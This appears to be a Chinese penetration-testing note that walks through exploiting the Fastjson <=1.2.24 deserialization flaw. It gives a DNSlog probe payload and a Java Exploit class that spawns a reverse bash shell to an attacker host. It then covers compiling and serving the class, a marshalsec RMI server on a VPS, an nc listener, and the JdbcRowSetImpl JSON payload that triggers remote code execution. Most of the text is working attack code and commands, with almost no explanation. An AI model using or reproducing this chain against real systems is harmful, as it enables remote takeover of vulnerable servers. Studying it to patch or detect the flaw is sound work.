0x01 漏洞概述
0x02 漏洞版本
Fastjson <=1.2.24
0x03 漏洞复现
fastjson/1.2.24-rce
POC
请求头改为POST,添加下面的Payload
{"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
EXP
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
修改Exploit.java文件中的反弹shell代码
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击者IP/22255 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
!记得javac编译java文件
javac Exploit.java
搭建一个简易的WEB服务器
python3 -m http.server 55561
使用marshalsec启动RMI服务
java ‐cp marshalsec‐0.0.3‐SNAPSHOT‐all.jar marshalsec.jndi.RMIRefServer http://VPS服务器:55561/#Exploit 55562
攻击者主机监听反弹Shell
nc -lvnp
Burp请求EXP服务器
{"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://VPS服务器:55562/Exploit","autoCommit":true}}